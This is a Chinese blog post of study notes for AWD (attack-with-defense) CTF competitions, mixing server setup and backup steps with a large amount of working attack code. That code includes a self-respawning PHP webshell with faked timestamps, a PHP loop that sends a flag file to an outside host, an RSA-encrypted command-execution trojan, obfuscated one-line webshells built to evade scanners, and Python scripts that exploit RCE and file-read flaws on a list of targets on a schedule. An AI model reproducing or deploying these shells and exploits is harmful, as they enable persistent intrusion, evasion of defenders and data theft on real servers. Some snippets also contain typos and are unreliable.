AWD初步学习

    一般的AWD不提供外网环境, AWD比赛中一般准备语言环境,工具、exploit及相关脚本框架。

1.脚本环境

   一般在/var/www/html目录的下面,需要提前PHP和常用的Web开发语言环境在本地进行配置,且统一语言尽量多配置环境,比如PHP以PHP5,PHP7两个版本为好,java最好预装JDK8、JDK11,而Python以Python2.7,python3.6为佳。

2.代码审计工具和服务连接工具

IDE工具(IDEA,PHP Storm等)

后门快速分析工具(如D盾,河马)

二进制分析(如IDA Pro)

服务器SSH连接工具(XShell、Termius)

FTP工具(如XFTP)

比较简单的不死马:

<?php
    ignore_user_abort(true);
#忽略用户终止,即使用户中断对浏览器的加载,脚本仍然会继续执行
    set_time_limit(0);
#限制执行时间为0,就是不间断攻击
    unlink(__FILE__);
#删除当时的进行的PHP脚本,尝试隐藏脚本,不会被PHP的执行时间限制所中断
    $file = '.test.php';
    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
#定义了code变量,检查通过get请求的pass参数的md5值是否等于“098.....”,如果成功的话,
会出现一个post的test的。
    while (1){
 #这是无限循环
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
    #使用system函数,他会执行touch系统命令,修改时间以欺骗文件的最后的修改时间,以防止检测。
        usleep(5000);

     #等待5毫秒,保持睡眠状态,降低脚本的消耗
    }
?>

上传该PHP后进行访问,访问后在路径下生成test.php的不死马,

使用蚁剑或菜刀,

http://文件所在路径./test.php?pass=test

连接的密码:test

成功之后,ls等简单的命令根本找不到它,

只有查看新增文件才能发现它。

find ./-cmin -30  #查看30分钟内创建的文件。

那么如何处理呢?

<?php
     ignore_user_abort(true);
     set_time_limt(0);
     unlink(_FILE_);
     $file ='.test.php';
     $code ='come on!';
     while (1){
     file_put_contents($file,$code);
     system('touch -m -d "2018-12-01 09:10:12",test.php');
       usleep(1000);
    }
?>

#注意usleep的时间一定要比不死马小,$code修改为无害的

一定要访问才能连接

3.exploit及相关框架

    AWD比赛中会涉及大量的权限维持对抗、自动化利用领域的内容,所以需要各类的脚本,一般分为三类:漏洞批量自动化及利用脚本、权限维持相关脚本、防御脚本。

    漏洞批量自动化及利用脚本:主要根据ip循环探测,具体漏洞利用的细节,待执行的操作三个环节,三个环节尽量不要混杂在同一段代码中。

权限维持相关脚本:在进行漏洞利用时,如果仅仅执行一次提交flag,那么防守方删除对于的脚本文件后需要重新利用一次才能再次提交flag操作,如果对方的漏洞已经修复了,那么久无法再次利用,因此需要权限维持保证可持续的利用

防御脚本:在进行服务器防御时,需要根据攻击者的流量,服务器文件变动情况进行监控,有助于查找漏洞点,定位未挖掘漏洞并反馈与漏洞利用。

    

基本操作:

修改ssh连接密码

备份内容,根目录/var/www/html和数据库

在FinalShell的命令行界面中,输入以下命令来备份根目录:

sudo tar -czvf /path/to/backup/root_backup.tar.gz --one-file-system /

   /path/to/backup/是备份文件存放的路径(需要确保该路径有足够的存储空间),

root_backup.tar.gz是备份文件的名称

--one-file-system选项确保只备份根文件系统而不包括其他挂载的文件系统。
   由于备份根目录需要超级用户权限,因此需要在命令前加上sudo。

端口扫描:

  • 使用范围扫描:nmap -p [起始端口]-[结束端口] [目标IP]
  • 示例:nmap -p 1-100 192.168.1.1(扫描目标IP的1到100端口)

使用finalshell备份源码:

rsync -avz /var/www/html user@backupserver:/path/to/backup/


-a表示归档模式(递归复制并保留符号链接、权限、时间戳等),-v表示详细输出模式,-z表示压缩文件数据在传输过程中。user@backupserver是备份服务器的用户名和地址。

数据库备份

  1. 启动FinalShell:确保FinalShell已经正确安装并启动。
  2. 连接到数据库服务器:使用FinalShell连接到运行数据库的服务器。
  3. 登录数据库:通过命令行登录到MySQL数据库。例如,输入mysql -uroot -p并输入密码以登录到MySQL服务器。
  4. 执行备份命令:使用mysqldump命令来备份数据库。例如,要备份名为python201的数据库,可以输入mysqldump -uroot -p python201 > python201.sql。系统会提示输入密码,输入后即可开始备份。
  5. 检查备份文件:备份完成后,可以在FinalShell的文件管理器中查看生成的SQL文件,以确保备份成功。

修改数据库密码

  1. 登录数据库:同样地,先通过命令行登录到MySQL数据库。
  2. 选择数据库(可选):如果只需要修改特定数据库的密码,可以先使用USE database_name;命令选择该数据库。
  3. 修改密码:使用ALTER USER命令来修改密码。例如,要修改root用户的密码为new_password,可以输入ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
  4. 刷新权限:虽然ALTER USER命令通常会自动刷新权限,但为了确保更改立即生效,可以执行FLUSH PRIVILEGES;命令。

先进入数据库,修改数据库密码的时候,配置文件也要修改,

mysql -uroot -proot

查看用户信息密码:

select host,user,password from mysql.user

删除匿名用户(user为空的用户)

delete from mysql.user where user=";

刷新:

flush privileges;

扫描漏洞的工具:

wapiti,linux自带的,基本操作,

wapiti -u 网址

wapiti -u http://目标网站的URL -f html -o /path/to/report.html

-f参数指定报告格式(如html、json、xml等),-o参数指定报告保存路径。可以使用浏览器打开生成的报告文件,查看详细的漏洞信息和修复建议。

watch bird

watchbird配置文件的作用:


├── README.md       # 项目简介与说明
├── pack.py         # 打包脚本,用于将源码打包成单文件
├── waf.c            # WAF的核心C语言代码,用于编译生成动态链接库
└── watchbird.php    # 主要的PHP入口文件,包含配置与控制逻辑

watchbird的作用:

种马的脚本

<?php 
    set_time_limit(0); // 取消脚本运行时间的超时上限
    ignore_user_abort(1);  // 后台运行
    unlink(__FILE__);    //删除本文件
	
    while(1){
        $file="flag.txt";  //设定要读取的文件
        $flag=file_get_contents($file);
		
        //在自己的计算机上打开服务器,输入ip让其访问。并创建一个php记录访问的值,jiflag
        $url="http://192.168.50.1/jilu.php?flag=".$flag;
        $html=file_get_contents($url);
	
        sleep(10);}
?>

RSA公钥加密的木马

<?php
 
 
 
class Rsa
 
{
 
    public $private_key = '';
 
    public $public_key = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/
RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334
lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l
qnEzo5bRNM0IL5ixAgMBAAE=
-----END PUBLIC KEY-----';
 
 
    public $encrypted = '';
 
    public $decrypted = "";
 
    public $data = '';
 
 
 
    public function init($file)
 
    {
 
        $this-> data = file_get_contents($file);
 
        return $this->data;
 
    }
 
    public function encrypt($data)
 
    {
 
        openssl_public_encrypt($data,$encrypted,$this->public_key);//公钥加密
 
        $encrypted = base64_encode($encrypted);
 
        return $encrypted;
 
    }
 
 
    public function decrypt_cmd($c)
 
    {
 
        print $c;
 
 
 
        openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私钥加密的内容通过公钥可解密出来
 
        echo "\n";
 
        echo "public key decrypt:\n";
 
        print $decrypted;
 
        echo `$decrypted`;
 
        #passthru($decrypted);
 
    }
 
 
    public function publicDecrypt($data, $publicKey)
 
    {
 
        openssl_public_decrypt($data, $decrypted, $publicKey);
 
        return $decrypted;
 
    }
 
 
}
 
function publicDecrypt($data, $publicKey)
 
{
 
    openssl_public_decrypt($data, $decrypted, $publicKey);
 
    return $decrypted;
 
}
 
 
 
@$i = $_GET['i'];
 
$rsa =new Rsa();
 
 
 
 
#1是直接读flag文件
 
if($i==1)
 
{
 
    $flag_path="flag";
 
    $data1=$rsa->init($flag_path);
 
#print  $data1;
 
    $data2=$rsa->encrypt($data1);
 
    print $data2;
 
}
 
 
#2是执行命令
 
if($i==2)
 
{
 
    @$c = $_GET['c'];
 
    $cmd = base64_decode($cmd);
 
    $a=`$cmd`;
 
    $a2=$rsa->encrypt($a);
 
    echo $a2;
 
}
 
?>

简单的PHP木马如何解决

如果遇到经典的一句话木马,可以采用混淆马的方式来解决它。

<?php @eval($_POST("cmd");?>

解决办法:
 

<?php  
 
@$_++; // $_ = 1  
 
$__=("#"^"|"); // $__ = _  
 
$__.=("."^"~"); // _P  
 
$__.=("/"^"`"); // _PO  
 
$__.=("|"^"/"); // _POS  
 
$__.=("{"^"/"); // _POST  
 
${$__}[!$_](${$__}[$_]); // 
 
?> 

<?php @assert($_POST['cmd']);?> 

解决办法:

<?php                
 
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';                  
 
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';                  
 
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}                  
 
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);


?>

复现AWD

  利用河马扫描一遍

明显的漏洞有这些

   已经修复了一个一句话木马

这是一个比较明显的RCE

先扫描一下有哪些

然后利用wapiti来扫描一下,有哪些漏洞?

来翻译一下啊


   1. CSP(内容安全策略)未设置:
        漏洞描述:内容安全策略(CSP)是一种额外的安全层,用于检测和缓解某些类型的代码注入攻击,包括跨站脚本(XSS)和数据注入攻击。
        修复建议:在网站的HTTP响应头中设置CSP策略,明确指定哪些资源可以被加载和执行。
    2.HTTP安全头未设置:
        包括X-Frame-Options、X-XSS-Protection、X-Content-Type-Options和Strict-Transport-Security等头信息未配置。
        修复建议:为这些HTTP头设置适当的值,以增强网站的安全性。例如,设置X-Frame-Options为DENY或SAMEORIGIN,以防止点击劫持攻击。
    3.Cookie标志未设置:
        PHPSESSID的HttpOnly和Secure标志未启用。
        修复建议:在服务器的配置中启用这些标志,以防止通过JavaScript访问Cookie(HttpOnly),并确保Cookie在HTTPS连接上传输(Secure)。
   4. 命令执行漏洞:
        在footer.php中通过shell参数注入执行命令。
        修复建议:对输入进行严格的验证和清理,避免将用户输入直接传递给系统命令。
    5.本地文件泄露漏洞:
        在about.php中通过file参数注入泄露/etc/passwd文件。
        修复建议:同样需要对输入进行严格的验证和清理,防止用户访问敏感文件。
    6.SQL注入漏洞:
        报告未详细说明,但提到正在检查SQL模块。
        修复建议:使用预处理语句和参数化查询来防止SQL注入攻击。
   7.跨站脚本(XSS)漏洞:
        在login.php中通过username和password参数注入XSS。
        修复建议:对用户输入进行适当的编码和转义,以防止XSS攻击。
    8.无法下载Wapp数据库:
        这可能是一个临时的网络问题或Wapp数据库服务的问题。
        修复建议:检查网络连接,并尝试再次下载数据库。如果问题持续存在,请考虑联系Wapiti的开发者或维护人员。
    9.服务器端请求伪造(SSRF):
        报告提到正在检查SSRF模块,但未提供具体结果。
        修复建议:确保应用程序不会向不受信任的用户输入发出的URL发起请求。
    10.重定向和盲注SQL:
        报告提到正在检查这些模块,但未提供具体漏洞或结果。
        修复建议:对于重定向,确保应用程序不会重定向到不受信任的URL。对于盲注SQL,同样需要使用预处理语句和参数化查询来防止攻击。

这样就清晰明了了。

那就开打吧!

    先来弄一个xss的吧!

常见的反射型:

<script>alert('hack')</script>

   这个时候我们插入的语句已经被页面给执行了。
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

这个是大佬的攻击脚本。

针对任意文件读取

import requests
import time
import schedule
import os
 
payload ="?c=system('cat /flag');"
page=".a.php"
urls = [
    'http://172.16.17.202:10250/',
    'http://172.16.17.202:10298/',
    'http://172.16.17.202:10869/',
    'http://172.16.17.202:12186/',
    'http://172.16.17.202:12232/',
    'http://172.16.17.202:12750/',
    'http://172.16.17.202:14219/',
    'http://172.16.17.202:15054/',
    'http://172.16.17.202:16767/',
    'http://172.16.17.202:17365/',
    'http://172.16.17.202:18922/',
 
]
 
 
def get_flag():
    for url in urls:
        n_url = url + page + payload
        # print(n_url)
        response = requests.get(url=n_url)
        if response.status_code == 200:
            # 获取源代码中的所有文本内容,并按行拆分
            lines = response.text.split('\n')
 
            # 获取第一行行内容
            choice_line = lines[0]
 
            with open('hm_flag1.txt', 'a', encoding='utf-8') as file:
                file.write(choice_line+'\n')
 
 
def support_flag():
    with open('hm_flag1.txt', 'r', encoding='utf-8') as file:
        content = file.read()
        # print(content)
        for line in content.split('\n'):
            # print(line)
            url = 'http://172.16.17.202:9090/'
            data = {
                "flag": line,
                "token": "4300f7f61934925694f6138f3045e61e"
            }
            response = requests.post(url, data=data)
            # print(response.text)
            time.sleep(1)
 
   
    os.remove('hm_flag1.txt')
 
 
def job():
    #添加全局变量,跟踪是否是第一次执行任务
    global first_run
    get_flag()
    support_flag()
    print(time.strftime("%Y-%m-%d %H:%M:%S"))
 
    if first_run:
        #每五分钟执行一次
        schedule.every(5).minutes.do(job)
        first_run = False
 
 
if __name__ == '__main__':
    first_run = True
    job()
 
    while True:
        schedule.run_pending()
        time.sleep(1)

这个是命令执行漏洞的,

import requests
import time
import schedule
import os
 
payload ="?p=cat%20/flag"
page="admin/header.php"
urls = [
    'http://172.16.17.202:10250/',
    'http://172.16.17.202:10298/',
    'http://172.16.17.202:10869/',
    'http://172.16.17.202:12186/',
    'http://172.16.17.202:12232/',
    'http://172.16.17.202:12750/',
    'http://172.16.17.202:14219/',
    'http://172.16.17.202:15054/',
    'http://172.16.17.202:16767/',
    'http://172.16.17.202:17365/',
    'http://172.16.17.202:18922/',
 
]
 
 
def get_flag():
    for url in urls:
        n_url = url + page + payload
        # print(n_url)
        response = requests.get(url=n_url)
        if response.status_code == 200:
           
            lines = response.text.split('\n')
 
            # 获取第1行行内容
            choice_line = lines[0]
 
            # 删除
            comments = [
                "cat /flag<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'",
                "'</font> <i>(length=32)</i>"
            ]
 
            cleaned_line = choice_line
            for comment in comments:
                cleaned_line = cleaned_line.replace(comment, "")
 
            for comment in comments:
                cleaned_line = cleaned_line.replace(comment, "")
 
            with open('rce_flag3.txt', 'a', encoding='utf-8') as file:
                file.write(cleaned_line+'\n')
 
 
def support_flag():
    with open('rce_flag3.txt', 'r', encoding='utf-8') as file:
        content = file.read()
        # print(content)
        for line in content.split('\n'):
            # print(line)
            url = 'http://172.16.17.202:9090/'
            data = {
                "flag": line,
                "token": "4300f7f61934925694f6138f3045e61e"
            }
            response = requests.post(url, data=data)
            # print(response.text)
            time.sleep(1)
 
    os.remove('rce_flag3.txt')
 
 
def job():
   
    global first_run
    get_flag()
    support_flag()
    print(time.strftime("%Y-%m-%d %H:%M:%S"))
 
    if first_run:
        #每五分钟执行一次
        schedule.every(5).minutes.do(job)
        first_run = False
 
 
if __name__ == '__main__':
    first_run = True
    job()
 
    while True:
        schedule.run_pending()
        time.sleep(1)

上一篇:Webpack安装


下一篇:Android常用C++特性之std::bind